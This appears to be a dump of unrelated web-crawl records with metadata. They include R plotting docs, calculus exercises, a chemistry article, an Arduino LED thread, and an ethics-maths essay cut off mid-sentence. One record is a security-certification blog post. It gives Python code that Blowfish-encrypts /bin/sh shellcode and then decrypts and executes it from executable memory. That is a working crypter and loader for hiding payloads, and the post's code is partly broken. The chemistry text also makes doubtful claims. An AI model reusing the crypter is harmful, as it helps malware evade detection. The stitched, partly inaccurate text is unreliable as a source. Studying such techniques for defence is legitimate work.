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https://www.rdocumentation.org/packages/zoo/versions/1.8-5/topics/ggplot2.zoo | [
"# ggplot2.zoo\n\nFrom zoo v1.8-5\n0th\n\nPercentile\n\n##### Convenience Functions for Plotting zoo Objects with ggplot2\n\nfortify.zoo takes a zoo object and converts it into a data frame (intended for ggplot2). autoplot.zoo takes a zoo object and returns a ggplot2 object. It essentially uses the mapping aes(x = Time, y = Value, group = Series) and adds colour = Series, linetype = Series, shape = Series in the case of a multivariate series with facets = NULL.\n\n##### Usage\n# S3 method for zoo\nautoplot(object, geom = \"line\", facets, …)\n# S3 method for zoo\nfortify(model, data,\nnames = c(\"Index\", \"Series\", \"Value\"),\nmelt = FALSE, sep = NULL, …)\nfacet_free(facets = Series ~ ., margins = FALSE, scales = \"free_y\", …) yearmon_trans(format = \"%b %Y\", n = 5)\nscale_x_yearmon(…, format = \"%b %Y\", n = 5)\nscale_y_yearmon(…, format = \"%b %Y\", n = 5) yearqtr_trans(format = \"%Y-%q\", n = 5)\nscale_x_yearqtr(…, format = \"%Y-%q\", n = 5)\nscale_y_yearqtr(…, format = \"%Y-%q\", n = 5)\n##### Arguments\nobject\n\nan object of class \"zoo\".\n\ngeom\n\ncharacter specifying which geom to use in qplot.\n\nfacets\n\nspecification of facets for qplot. The default in the autoplot method is to use facets = NULL for univariate series and facets = Series ~ . for multivariate series.\n\nfurther arguments passed to qplot for autoplot (and not used for fortify). For the scale_*_* functions the arguments are passed on to scale_*_continuous.\n\nmodel\n\nan object of class \"zoo\" to be converted to a \"data.frame\".\n\ndata\n\nnot used (required by generic fortify method).\n\nnames\n\n(list of) character vector(s). New names given to index/time column, series indicator (if melted), and value column (if melted). If only a subset of characters should be changed, either NAs can be used or a named vector.\n\nsep\n\nIf specified then the Series column is split into multiple columns using sep as the split character.\n\nmelt\n\nShould the resulting data frame be in long format (melt = TRUE) or wide format (melt = FALSE).\n\nmargins\n\nAs in facet_grid.\n\nscales\n\nAs in facet_grid except it defaults to \"free_y\".\n\nformat\n\nA format acceptable to format.yearmon or format.yearqtr.\n\nn\n\nApproximate number of axis ticks.\n\n##### Details\n\nConvenience interface for visualizing zoo objects with ggplot2. autoplot.zoo uses fortify.zoo (with melt = TRUE) to convert the zoo object into a data frame and then uses a suitable aes() mapping to visiualize the series.\n\n##### Value\n\nfortify.zoo returns a data.frame either in long format (melt = TRUE) or in wide format (melt = FALSE). The long format has three columns: the time Index, a factor indicating the Series, and the corresponding Value. The wide format simply has the time Index plus all columns of coredata(model).\n\nautoplot.zoo returns a ggplot object.\n\nautoplot, fortify, qplot\n\n##### Aliases\n• autoplot.zoo\n• fortify.zoo\n• ggplot2.zoo\n• facet_free\n• yearmon_trans\n• yearqtr_trans\n• scale_x_yearmon\n• scale_y_yearmon\n• scale_x_yearqtr\n• scale_y_yearqtr\n##### Examples\n# NOT RUN {\nif(require(\"ggplot2\") && require(\"scales\")) {\n## example data\nx.Date <- as.Date(paste(2003, 02, c(1, 3, 7, 9, 14), sep = \"-\"))\nx <- zoo(rnorm(5), x.Date)\nxlow <- x - runif(5)\nxhigh <- x + runif(5)\nz <- cbind(x, xlow, xhigh)\n\n## univariate plotting\nautoplot(x)\n## by hand\nggplot(aes(x = Index, y = Value), data = fortify(x, melt = TRUE)) +\ngeom_line() + xlab(\"Index\") + ylab(\"x\")\n## adding series one at a time\nlast_plot() + geom_line(aes(x = Index, y = xlow), colour = \"red\", data = fortify(xlow))\n## add ribbon for high/low band\nggplot(aes(x = Index, y = x, ymin = xlow, ymax = xhigh), data = fortify(x)) +\ngeom_ribbon(fill = \"darkgray\") + geom_line()\n\n## multivariate plotting in multiple or single panels\nautoplot(z) ## multiple without color/linetype\nautoplot(z, facets = Series ~ .) ## multiple with series-dependent color/linetype\nautoplot(z, facets = NULL) ## single with series-dependent color/linetype\n## by hand with color/linetype and with/without facets\nqplot(x = Index, y = Value, group = Series, colour = Series,\nlinetype = Series, facets = Series ~ ., data = fortify(z, melt = TRUE)) +\ngeom_line() + xlab(\"Index\") + ylab(\"\")\nggplot(aes(x = Index, y = Value, group = Series, colour = Series, linetype = Series),\ndata = fortify(z, melt = TRUE)) + geom_line() + xlab(\"Index\") + ylab(\"\")\n## variations\nautoplot(z, geom = \"point\")\nautoplot(z, facets = NULL) + geom_point()\nautoplot(z, facets = NULL) + scale_colour_grey() + theme_bw()\n\n## for \"ts\" series via coercion\nautoplot(as.zoo(EuStockMarkets))\nautoplot(as.zoo(EuStockMarkets), facets = NULL)\n\nautoplot(z) +\naes(colour = NULL, linetype = NULL) +\nfacet_grid(Series ~ ., scales = \"free_y\")\n\nautoplot(z) + aes(colour = NULL, linetype = NULL) + facet_free() # same\n\nz.yq <- zooreg(rnorm(50), as.yearqtr(\"2000-1\"), freq = 4)\nautoplot(z.yq) + scale_x_yearqtr()\n\n## mimic matplot\ndata <- cbind(A = c(6, 1, NA, NA), B = c(16, 4, 1, NA), C = c(25, 7, 2, 1))\nautoplot(zoo(data), facet = NULL) + geom_point()\n## with different line types\nautoplot(zoo(data), facet = NULL) + geom_point() + aes(linetype = Series)\n\n## illustrate just fortify() method\nz <- zoo(data)\nfortify(z)\nfortify(z, melt = TRUE)\nfortify(z, melt = TRUE, names = c(\"Time\", NA, \"Data\"))\nfortify(z, melt = TRUE, names = c(Index = \"Time\"))\n\n## with/without splitting\nz <- zoo(cbind(a.A = 1:2, a.B = 2:3, b.A = 3:4, c.B = 4:5))\nfortify(z)\nfortify(z, melt = TRUE, sep = \".\",\nnames = list(Series = c(\"Lower\", \"Upper\")))\n\n## scale_x_yearmon for a discrete labeling (rather than continuous)\ndf <- data.frame(dates = as.yearmon(\"2018-08\") + 0:6/12, values = c(2:6, 0, 1))\nggplot(df, aes(x = dates, y = values)) +\ngeom_bar(position = \"dodge\", stat = \"identity\") +\ntheme_light() + xlab(\"Month\") + ylab(\"values\")+\nscale_x_continuous(breaks = as.numeric(df$dates), labels = format(df$dates,\"%Y %m\"))\n\n}\n# }\n\nDocumentation reproduced from package zoo, version 1.8-5, License: GPL-2 | GPL-3\n\n### Community examples\n\nLooks like there are no examples yet."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.52806914,"math_prob":0.9983965,"size":5500,"snap":"2019-51-2020-05","text_gpt3_token_len":1696,"char_repetition_ratio":0.13682678,"word_repetition_ratio":0.09561305,"special_character_ratio":0.3229091,"punctuation_ratio":0.17460318,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9971026,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-22T05:01:20Z\",\"WARC-Record-ID\":\"<urn:uuid:a3892552-4bac-4079-85cc-171d9a623a6f>\",\"Content-Length\":\"22434\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:efb55980-29c4-499d-8dbc-a22649af1274>\",\"WARC-Concurrent-To\":\"<urn:uuid:b71ffb8b-9737-41da-a44a-9cec6e0cc37f>\",\"WARC-IP-Address\":\"54.80.66.241\",\"WARC-Target-URI\":\"https://www.rdocumentation.org/packages/zoo/versions/1.8-5/topics/ggplot2.zoo\",\"WARC-Payload-Digest\":\"sha1:HL3P736GWQPB5B3RXQ2QQAXPPRC3ASWK\",\"WARC-Block-Digest\":\"sha1:TVJ36DD5Z7KRJGFWOHJZLMA2SHVZOYRZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250606696.26_warc_CC-MAIN-20200122042145-20200122071145-00293.warc.gz\"}"} |
https://xavibel.com/2019/05/13/shellcoding-linux-x86-custom-crypter-assignment-7/ | [
"# Shellcoding Linux x86 – Custom Crypter – Assignment 7\n\nThis post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.\n\nStudent ID: PA-8535\n\nBefore start this assignment, I have to say that this certification supposed some months of hard work but it’s completely worth it. I recommend it to everyone that wants to learn interesting stuff 🙂\n\nLet’s focus in this last assignment, I have to create a custom crypter as the described in the course video.\n\nFirst of all I needed to choose an algorithm, I never used Blowfish, so I decided to read about it. Blowfish is a symmetric-key block cipher, designed in 1993 by Bruce Schneier.\n\nhttps://en.wikipedia.org/wiki/Blowfish_(cipher)\n\nDoing a quick research I found this useful module in python language that had everything that I needed.\n\nhttps://pypi.org/project/blowfish/\n\nSo it seems a good idea to select this cypher and also write the tools in python because they can be compiled as an elf if needed.\n\nAt this point I had to write 2 files:\n\n• A crypter: With a cypher key and an IV it has to encrypt the original shellcode.\n• A decrypter: It has to decrypt the shellcode using the cypher key and the IV and has to save it in memory and execute it.\n\nLet’s start for the crypter. To be able to encrypt the original shellcode we need to have blocks of 8 bytes. The first thing that I do, is calculate the length of the shellcode and divide it by 8 and see if it needs some padding. If it needs it, I add the necessary nops 0x90 at the end of the string.\n\n``````# Padding\nrem = scd_len / 8\nif rem == 0:\nprint ('[+] Shellcode is multiple of 8. No padding needed')\nelse:\nprint ('[+] Shellcode is not multiple of 8. Paddind needed')\nblock_number = round(scd_len / 8) +1\nprint ('[+] Number of blocks needed: %d' % block_number)\npadding = 8 * block_number - scd_len\n\nNow, that our string its a multiple of 8 we can start encrypting it, we have to setup de cypher key and the IV values:\n\n``````cipher = blowfish.Cipher(b\"xavi\")\niv = b'88888888'``````\n\nAnd finally do the encryption:\n\n``````data_encrypted = b\"\".join(cipher.encrypt_cbc(data, iv))\nprint ('[+] Blowfish encryption finished:')\nprint (data_encrypted)``````\n\nThis is the final crypter code:\n\n``````# Author: Xavi Beltran\n# Date: 13/05/2019\n\n# Modules\nimport blowfish\n\n# Shellcode\nscd = b'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'\nscd_len = len(scd)\nprint ('[+] Shellcode length is %d' % scd_len)\n\nrem = scd_len / 8\nif rem == 0:\nprint ('[+] Shellcode is multiple of 8. No padding needed')\nelse:\nprint ('[+] Shellcode is not multiple of 8. Paddind needed')\nblock_number = round(scd_len / 8) +1\nprint ('[+] Number of blocks needed: %d' % block_number)\npadding = 8 * block_number - scd_len\n\ncipher = blowfish.Cipher(b\"xavi\")\ndata = scd\niv = b'88888888'\ndata_encrypted = b\"\".join(cipher.encrypt_cbc(data, iv))\nprint ('[+] Blowfish encryption finished:')\nprint (data_encrypted)``````\n\nIn the image below you can see the original shellcode encrypted.\n\nOur crypter it’s already working. Now I need to code the decrypter, the first step is to decrypt the string and to recover our original shellcode. To do that, we are going to use the same python library.\n\n``````# Shellcode encrypted\nenc_scd = b'\\x1fp\\x8bq\\x0e\\xc2\\x11|p\\x83\\x05\\x9d\\xf4\\xc4Y\\xf5\\x16s\\xf5:|+\\xc5)\\tqV\\x84\\xbe\\xe8X\\xc5'\n\n# Decrypt process\ncipher = blowfish.Cipher(b\"xavi\")\ndata_encrypted = enc_scd\niv = b'88888888'\ndata_decrypted = b\"\".join(cipher.decrypt_cbc(data_encrypted, iv))\nprint ('[+] Blowfish decryption finished:')\nprint (data_decrypted)``````\n\nWe already recovered our original shellcode but know what we have to do? When I was doing this part of the code I thought that it was a going to be really difficult, but in fact its not so complex.\n\nWe are going to use python Memory-mapped. We create a piece of executable memory in python and write our shell-code into this memory.\n\n``````mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)\nmm.write(data_decrypted)``````\n\nAnd we obtain the address of the memory and create a C Function Pointer using ctypes and this address.\n\n``````restype = ctypes.c_int64\nargtypes = tuple()\nctypes_buffer = ctypes.c_int.from_buffer(mm)\nfunction()``````\n\nThe final code for the decrypter is the following one:\n\n``````# Author: Xavi Beltran\n# Date: 13/05/2019\n\n# Modules\nimport blowfish\nimport mmap\nimport ctypes\n\n# Shellcode encrypted\nenc_scd = b'\\x1fp\\x8bq\\x0e\\xc2\\x11|p\\x83\\x05\\x9d\\xf4\\xc4Y\\xf5\\x16s\\xf5:|+\\xc5)\\tqV\\x84\\xbe\\xe8X\\xc5'\n\n# Decrypt process\ncipher = blowfish.Cipher(b\"xavi\")\ndata_encrypted = enc_scd\niv = b'88888888'\ndata_decrypted = b\"\".join(cipher.decrypt_cbc(data_encrypted, iv))\nprint ('[+] Blowfish decryption finished:')\nprint (data_decrypted)\n\n# Shellcode Execution\n# We create a piece of executable memory in python and write our shell-code into this memory\nmm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)\nmm.write(data_decrypted)\n# We obtain the address of the memory and create a C Function Pointer using ctypes and this address\nrestype = ctypes.c_int64\nargtypes = tuple()\nctypes_buffer = ctypes.c_int.from_buffer(mm)"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.78511596,"math_prob":0.8146359,"size":5780,"snap":"2022-27-2022-33","text_gpt3_token_len":1617,"char_repetition_ratio":0.13677286,"word_repetition_ratio":0.34123224,"special_character_ratio":0.27854672,"punctuation_ratio":0.11660448,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9730208,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-01T01:52:20Z\",\"WARC-Record-ID\":\"<urn:uuid:f118b7b7-e04c-4d1a-b81a-47bc408d46c3>\",\"Content-Length\":\"41848\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4ccf9355-ab8b-4ea4-adca-1cbb14f37499>\",\"WARC-Concurrent-To\":\"<urn:uuid:8721f1e6-e90b-45a5-aadd-cfa2e9c6cc4f>\",\"WARC-IP-Address\":\"188.166.111.225\",\"WARC-Target-URI\":\"https://xavibel.com/2019/05/13/shellcoding-linux-x86-custom-crypter-assignment-7/\",\"WARC-Payload-Digest\":\"sha1:M62BWKZFVRVLYLPQ3NSDFQYVR3P6FJW3\",\"WARC-Block-Digest\":\"sha1:VXV37V6CIIJBJDOXB2QTOPXOY32K5JWD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103917192.48_warc_CC-MAIN-20220701004112-20220701034112-00186.warc.gz\"}"} |
https://www.wyzant.com/resources/answers/3197/let_f_x_be_a_polynomial_function_such_that_f_4_1_f_4_2_and_f_quot_4_0_if_x_lt_4_then_f_quot_x_lt_0_and_if_x_gt_4_then_f_quot_x_gt_0 | [
"Lana M.\n\n# Let f(x) be a polynomial function such that f(4)= -1, f'(4)=2 and f\"(4)=0. If x<4, then f\"(x)<0 and if x>4, then f\"(x)>0.\n\nThe point (4,-1) is which of the following for the graph of f?\n\nHow do you figure out this problem. Which answer choice is right and why?\n\na) relative maximum\n\nb) relative minimum\n\nc) critical value\n\nd) inflection point\n\ne) none of the above\n\nBy:",
null,
"Tutor\n5 (2)"
] | [
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"https://www.wyzant.com/resources/answers/3197/let_f_x_be_a_polynomial_function_such_that_f_4_1_f_4_2_and_f_quot_4_0_if_x_lt_4_then_f_quot_x_lt_0_and_if_x_gt_4_then_f_quot_x_gt_0",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8418502,"math_prob":0.9986744,"size":512,"snap":"2023-14-2023-23","text_gpt3_token_len":239,"char_repetition_ratio":0.11220472,"word_repetition_ratio":0.056074765,"special_character_ratio":0.5234375,"punctuation_ratio":0.06451613,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99933755,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-06T00:32:36Z\",\"WARC-Record-ID\":\"<urn:uuid:b1ae0217-34db-41a4-9776-d9b99c0acaa8>\",\"Content-Length\":\"72403\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f2430860-0ddf-4ec8-85f2-25b50c7ecc8b>\",\"WARC-Concurrent-To\":\"<urn:uuid:d97df140-4f9e-458a-baf9-16341d2a80db>\",\"WARC-IP-Address\":\"34.117.195.90\",\"WARC-Target-URI\":\"https://www.wyzant.com/resources/answers/3197/let_f_x_be_a_polynomial_function_such_that_f_4_1_f_4_2_and_f_quot_4_0_if_x_lt_4_then_f_quot_x_lt_0_and_if_x_gt_4_then_f_quot_x_gt_0\",\"WARC-Payload-Digest\":\"sha1:AX66375BCTXITNO52PAINKJY5JSXOZSS\",\"WARC-Block-Digest\":\"sha1:5XPSJI6ISN4ZVK5DWJYB3TCR7EPUO2ZQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224652184.68_warc_CC-MAIN-20230605221713-20230606011713-00228.warc.gz\"}"} |
https://www.stumblingrobot.com/2015/09/13/find-and-prove-a-formula-for-the-derivative-of-a-product-of-n-differentiable-functions/ | [
"Home » Blog » Find and prove a formula for the derivative of a product of n differentiable functions\n\n# Find and prove a formula for the derivative of a product of n differentiable functions\n\nLet",
null,
"be the product of",
null,
"functions",
null,
"with derivatives",
null,
". Find a formula for the derivative of",
null,
", and prove that it is correct by mathematical induction.\n\nFurthermore, show that",
null,
"for those",
null,
"at which",
null,
"for any",
null,
".\n\nClaim: If",
null,
", then",
null,
"Proof. For the case",
null,
", from the usual product rule we have",
null,
"Thus, our claimed formula holds in this case. Assume then that it is true for some integer",
null,
". Then, if",
null,
"we have,",
null,
"Therefore, if the formula holds for",
null,
"then it also holds for",
null,
"; thus, it holds for all positive integers",
null,
"Next, we prove the formula for the quotient,",
null,
".\n\nProof. Let",
null,
"be defined as above, and let",
null,
"be a point at which",
null,
"for any",
null,
". Then,",
null,
"### One comment\n\n1.",
null,
"Well I didn’t arrive to the same formula. I’ve arrived into a recursive formula which is:\n\n$\\\\G_n(x) = G^I_{n-1}(x).F_n(x) + G_{n-1}(x).F^I_n(x)$\n\nAnd can also be proved by induction"
] | [
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-c402c929d024568cf8e235886402182a_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-11371389bbed4dbbe3da5150070dd4d8_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-1277482471ea7b5c9c21db53acfdd580_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-24dd6dfbc96cc90d9b767af9c7a73bbd_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-c07031a23daee7f56c60799b8a6b3956_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-679d20faaf6b93d33bda828ae95161ef_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-70acbbda17fd700d9c0d4ca8036d2e09_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-4468cb844158d1ce8183c68915d1dcc7_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-e81c473b15bc038adbf452dbae956b6f_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-4b14b09d112099b3e22755b87da218bb_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-5ca1153257ab1c7e1c849dc46e689773_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-c7ae1ba386cd9f921e9aee29e53a73e7_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-d108977a21a0e2720762a2b36c18838e_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-ed37cbe25c1c1a3af7140a2517e7d544_l3.png",
null,
"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-b50947b486c7390ea2c5196206908b47_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-4546010112ccb15487fa5e25d75d8f24_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-989dbcf58216f9480c2d6169a080714a_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-1277482471ea7b5c9c21db53acfdd580_l3.png",
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"https://www.stumblingrobot.com/wp-content/ql-cache/quicklatex.com-bef00287084bf98aa0975715112b5217_l3.png",
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"https://secure.gravatar.com/avatar/9d11bb213d7d22ffc483617ebb5bf4b0",
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https://www.extramarks.com/studymaterials/formulas/ammonium-hydroxide-formula/ | [
"# Ammonium Hydroxide Formula\n\n## Ammonium Hydroxide Formula\n\nThe Ammonium Hydroxide Formula is NH4OH. The Ammonium Hydroxide Formula is also called aqueous ammonia. It is basically the ammonia gas dissolved in water. In its liquid state, the liquid has no colour, but it has an extremely strong smell which is very discernable. When the substance is in its concentrated form, then it can be very caustic in nature, and it can cause really severe third-degree burns if it has contact with the skin, and it is unattended. On a household level, the Ammonium Hydroxide Formula is used as a room cleanser. In its solution form, it has a large amount of water and ammonia and a very less amount of ammonium ions.\n\n### Ammonium Hydroxide Chemical Formula\n\nThe chemical formula of ammonium hydroxide is NH4OH. The molar mass of the Ammonium Hydroxide Formula is 35.04 g/mol-1. The structure of the compound is made of 1 hydroxide anion (OH–) and 1 ammonium cation, NH4+. The ions here share an ionic bond because in the bond formation there is an exchange of electrons, if the ions shared the electrons then it would have been a covalent bond.\n\n### Ammonium Hydroxide Structural Formula\n\nThe Ammonium Hydroxide Formula is also known as ammonia water.\n\n### Occurrence\n\nThe Ammonium Hydroxide Formula can be very easily prepared when there is a dissolution between ammonia and water. The process is done naturally, but the compound can also be prepared in an artificial manner.\n\n### Preparation\n\nThe Ammonium Hydroxide Formula is mainly prepared with the help of a direct reaction between hydrogen and nitrogen, and in this reaction, the metal iron acts as a catalyst. The resulting ammonia that is formed then is made to pass through water, and then the Ammonium Hydroxide Formula is prepared.\n\n### Physical Properties\n\nAmmonium hydroxide is a liquid which has no colour, the Ammonium Hydroxide Formula has a very distinct pungent odour. The Ammonium Hydroxide Formula has a density of 0.91 g/mL-1. The melting point is -57.5oC, and it has a boiling point of 37oC. It is highly miscible with water, and therefore the solubility it has with water is very high.\n\n### Chemical Properties\n\nAmmonium hydroxide is a basic compound which dissociates partially in water which keeps the next equilibrium with the ammonium ion and the hydroxide ion intact and that is the reason why the compound is unstable.\n\nNH4OH + H2O ⇌ NH4+ + OH−\n\nThe equilibrium is formed when it is in use for regulating the pH of the solutions due to the ion OH– which assists in maximizing the pOH of the basic level of any solution.\n\n### Basicity of Ammonia in Water\n\nIn a solution with water, the ammonia deprotonates a minimal fraction of the water to give the products of ammonium and hydroxide:\n\nNH3 + H2O ⇌ NH4+ + OH−.\n\nIn a 1M ammonia solution, only 0.42% of the ammonia transforms into ammonium which is equivalent to a pH of 11.63 since [NH4+] = 0.0042 M, [OH–] = 0.0042 M, [NH3] = 0.9958 M, and pH = 14+log10[OH–] = 11.62. The base ionization constant is –\n\nKb = [NH4+][OH−]/[NH3] = 1.8×10−5\n\n### Uses\n\nThere are various uses of the Ammonium Hydroxide Formula. One of the most common ones is how the Ammonium Hydroxide Formula can be used in making a household cleaner. The compound can also be used in a way where it might act as a precursor to the formation of any alkylamine. The compound is also used in a way where it acts as an acidity regulator, and it is primarily used in a reference to food. The compound is greatly used to control the acidity of certain foods.\n\n### Solved Example on Ammonium Hydroxide Formula\n\nStudents can learn about the Ammonium Hydroxide Formula on the Extramarks website. The information in the article is provided by experienced professionals who have experience in teaching these ideas in a thorough way, and therefore one can learn all about Ammonium Hydroxide Formula on their website."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.95575356,"math_prob":0.8841051,"size":3824,"snap":"2023-40-2023-50","text_gpt3_token_len":966,"char_repetition_ratio":0.20366493,"word_repetition_ratio":0.035222054,"special_character_ratio":0.21888076,"punctuation_ratio":0.08916324,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9863616,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-11-29T08:50:57Z\",\"WARC-Record-ID\":\"<urn:uuid:9c374268-3ccb-4ffa-9f53-47ca4718bad0>\",\"Content-Length\":\"491630\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:64e35ef9-cd54-471d-9502-fa215230cc4f>\",\"WARC-Concurrent-To\":\"<urn:uuid:6ebb0569-9440-47e1-8d78-c9603507918e>\",\"WARC-IP-Address\":\"13.249.39.10\",\"WARC-Target-URI\":\"https://www.extramarks.com/studymaterials/formulas/ammonium-hydroxide-formula/\",\"WARC-Payload-Digest\":\"sha1:OSZRTA722FBPFLRRJCSNATPHB6WK4YP7\",\"WARC-Block-Digest\":\"sha1:PHSKKXKZDU4KRCOEUZWSSGK4VZAOVQ3R\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100057.69_warc_CC-MAIN-20231129073519-20231129103519-00415.warc.gz\"}"} |
http://www.usrsb.in/1-Minus-1-Equals-What---Fun-with-sums-and-limits-.html | [
"# 1 Minus 1 Equals What? (Fun with sums and limits)\n\nBy Alex Beal\nAugust 5, 2011\n\nHere’s a cool problem I came across when reviewing for one of my calculus exams:",
null,
"You begin with the numbers 0 through 1. Every iteration removes 1/3 from the remaining segments. As stated above, the expression for the total amount removed after m iterations is:",
null,
"The first iteration removes 1/3. The second removes 1/3 from the remaining two segments. The remaining segments are 1/3 long, and 1/3 of that is 1/9. We do that once for each remaining segment, so 2/9 is removed. And so on.",
null,
"What if we iterate an infinite number of times? Then we have a convergent geometric series. Finding the sum is easy:",
null,
"So, what’s the total amount or length of numbers removed? 1. That’s the entire length. It seems like we’ve removed the entire segment. But wait a minute. If we look at the image of the original question above, we see that after every iteration, there are 2n+1 segments remaining. When n=0, there are 2 segments. When n=1, there are 4 segments, etc. As we remove more and more, 2n+1 approaches infinity. In other words, the limit does not exist, and the number of segments goes to infinity.",
null,
"So, even though we’ve seemingly removed the entire length, there are an infinite number of segments remaining."
] | [
null,
"http://media.usrsb.in/sum-paradox/question.png",
null,
"http://media.usrsb.in/sum-paradox/sum.png",
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"http://media.usrsb.in/sum-paradox/sum2.png",
null,
"http://media.usrsb.in/sum-paradox/sol.png",
null,
"http://media.usrsb.in/sum-paradox/limit-dne.png",
null
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https://forum.arduino.cc/t/led-matrix-pattern/56447 | [
"",
null,
"# LED Matrix pattern\n\nSo I built a standard jumper Row + Column LED matrix (using individual LEDs) Its currently 2x5. What I want to understand is how, if I wanted to, could I make patterns in there, without using a really bulky and ugly \"counting\" system.\n\nI see words in there, but not much meaning.\n\nJesus, I must learn to multi-task better while typing. Essentially this is what I have:\n\n1:* * 2:* * 3:* * 4:* * 5:* * a b\n\nwith each * being 1 LED. I want to make a pattern, flash through it. Right now I have an ugly if else statement just cycling the lights through it, but I want something less bulky and more dynamic.\n\nPost what you have. Having said that, a for loop and an array of data describing the pattern are likely going to be a working answer\n\nedit: spelling\n\n``````int ROW = 9;\nint COL = 4;\nint count = 1;\n\nvoid setup() {\npinMode(4, OUTPUT);\npinMode(5, OUTPUT);\npinMode(9, OUTPUT);\npinMode(10, OUTPUT);\npinMode(11, OUTPUT);\npinMode(12, OUTPUT);\nSerial.begin(300);\n}\n\nvoid loop() {\nSerial.print(\"Column: \");\nSerial.print(COL);\nSerial.print(10, BYTE);\nSerial.print(\"Row: \");\nSerial.print(ROW);\nSerial.print(10, BYTE);\nSerial.print(\"Count: \");\nSerial.print(count);\nSerial.print(10, BYTE);\n\nif (COL == 4 && count == 1)\n{\ndigitalWrite(4, LOW);\ndigitalWrite(5, HIGH);\nCOL = 5;\n}\n\nelse\n{\nif (count == 1){\ndigitalWrite(5, LOW);\ndigitalWrite(4, HIGH);\nCOL = 4;\n}\n}\n\ncount = 0;\n\nif (ROW < 13)\n{\ndigitalWrite(ROW, HIGH);\ndigitalWrite(ROW-1, LOW);\ndelay(50);\nROW = ROW+1;\n}\n\nif (ROW == 13)\n{\ndigitalWrite(ROW, HIGH);\ndigitalWrite(ROW-1, LOW);\ndelay(100);\ncount = 1;\nROW = 9;\n}\n\n}\n``````"
] | [
null,
"https://aws1.discourse-cdn.com/arduino/original/3X/1/f/1f6eb1c9b79d9518d1688c15fe9a4b7cdd5636ae.svg",
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https://www.utilitarian.org/maths.html | [
"Mathematics for Ethics\n\nInspired by the work of Jeremy Bentham\n\nIntroduction\n\nEthical reasoning requires the consideration of values. If we represent the values numerically, we can use standard mathematical operations to manipulate them, and hopefully produce an answer which we can use to guide our actions.\n\nIn this paper, knowledge of positive, negative, and fractional numbers, addition, subtraction, multiplication and division is assumed. Multiplication is represented by \"*\", division by \"/\", and priority by round brackets \"()\".\n\nThe scale\n\nThe initial problem is one of representation - how can we represent things like pain and pleasure with numbers? Presumably, the same way we can represent distances, temperatures, or a multitude of other things as numbers - by using a scale. There are standard scales for distance (eg. metres, kilometres, and miles etc) and temperatures (eg. the Celsius (aka centigrade) and Fahrenheit scales). There are no standard scales for pleasure and pain (that I know of) so we have to invent our own. The important thing is that we use the scale consistently, and that we make sure it is linear and absolute. I may not know exactly how far a mile is, but, because the mile scale is absolute, I know that 0 miles is no distance at all; and because it is also linear, I can be certain that one mile is exactly half the distance of two miles. Because we invent the 